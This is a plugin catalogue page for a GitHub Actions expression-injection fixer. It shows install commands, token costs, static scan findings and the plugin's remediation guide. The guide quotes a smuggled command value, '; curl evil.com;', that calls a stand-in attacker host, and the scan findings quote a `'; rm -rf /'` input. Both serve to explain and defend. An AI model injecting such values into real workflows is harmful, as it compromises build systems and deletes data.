Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/dryvist/claude-code-plugins/codeql-expression-injectorgit clone --depth 1 https://github.com/dryvist/claude-code-pluginsWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00014 | $0.01423 |
| Opus 5 | $0.00007 | $0.00711 |
| Sonnet 5 | $0.00003 | $0.00285 |
| Haiku 4.5 | $0.00001 | $0.00142 |
Grade B, and why
CodeQL Expression Injector Fixer scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
run: curl https://api.example.com -d "${{ github.event.pull_request.body }}" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
- `'; rm -rf /'` -> Treated as literal string value, safe Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
run: curl https://api.example.com -d "${{ github.event.pull_request.body }}" How it starts
The opening of the file, as written. The whole thing — 210 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CodeQL Expression Injector Fixer
Fix expression injection vulnerabilities in GitHub Actions workflows by wrapping untrusted inputs in environment variables.
Input
{
"alerts": [
{
"number": 12,
"location": ".github/workflows/deploy.yml",
"line_number": 45,
"message": "Potential code injection (expression language input without proper escaping) from github.event.pull_request.body"
}
]
}
Vulnerability Pattern
Dangerous: Untrusted input directly in run: command
- name: Process PR
run: curl https://api.example.com -d "${{ github.event.pull_request.body }}"
Vulnerability: If PR body contains '; curl evil.com;, entire command is compromised.
Dangerous contexts:
github.event.pull_request.bodygithub.event.pull_request.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.body- Any
*.*.*.*.messageor*.*.*.*.bodyfields github.head_ref
Fix Pattern
Safe: Wrap in env: block, reference via variable
- name: Process PR
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: curl https://api.example.com -d "$PR_BODY"
Why safe: GitHub masks environment variable values in logs (if they're secrets), and more importantly, the untrusted input is now a string variable, not part of the shell command itself.
Workflow per Alert
1. Parse Alert & Locate Vulnerability
- Open workflow file at specified line
- Identify the step with
run:command - Locate the dangerous expression (usually already highlighted in message)
2. Identify Dangerous Input
Extract the exact expression:
${{ github.event.* }}
${{ github.head_ref }}
Document the dangerous context (what field, what event).
3. Implement Safe Pattern
Create environment variable name from context:
${{ github.event.pull_request.body }}->env: PR_BODY${{ github.event.pull_request.title }}->env: PR_TITLE${{ github.event.comment.body }}->env: COMMENT_BODY${{ github.head_ref }}->env: HEAD_REF
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 210 lines · 14 tokens per session scan B c79e8bd3ee46
CodeQL Expression Injector Fixer is an agent published in the GitHub repository dryvist/claude-code-plugins (3 stars, last pushed yesterday), licensed Apache-2.0. It adds 14 tokens to every session and 1,423 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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